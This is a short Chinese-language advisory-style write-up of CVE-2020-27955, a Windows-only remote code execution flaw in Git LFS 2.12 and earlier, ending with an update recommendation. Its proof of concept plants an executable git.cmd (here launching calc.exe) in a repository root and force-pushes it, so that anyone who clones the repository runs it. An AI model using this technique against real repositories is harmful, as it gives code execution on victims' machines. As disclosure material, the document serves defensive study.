Git LFS 是 Github 开发的一个 Git 的扩展,用于实现 Git 对大文件的支持
Git-LFS(git-lfs)<= 2.12
一些受影响的产品包括Git,GitHub CLI,GitHub Desktop,Visual Studio,GitKraden,SmartGit,Sourcetree等
该漏洞影响仅windows平台
? 下载安装git-lfs小于2.12的版本
? (该poc需在单独的Linux系统上(以防止在提交时在localhost上执行))
? 只需添加名为以下文件的可执行文件,即可在恶意仓库的根目录中创建后门:
? 1 创建一个git仓库
git clone https://github.com/attacker/poc.git
echo calc.exe > git.cmd
git lfs track "*.dat"
echo "test" > large.dat
git add -A
git commit -m "poc"
git push -u origin master -f
更新到最新版软件
https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html
原文:https://www.cnblogs.com/TheTh1nk3r/p/14237792.html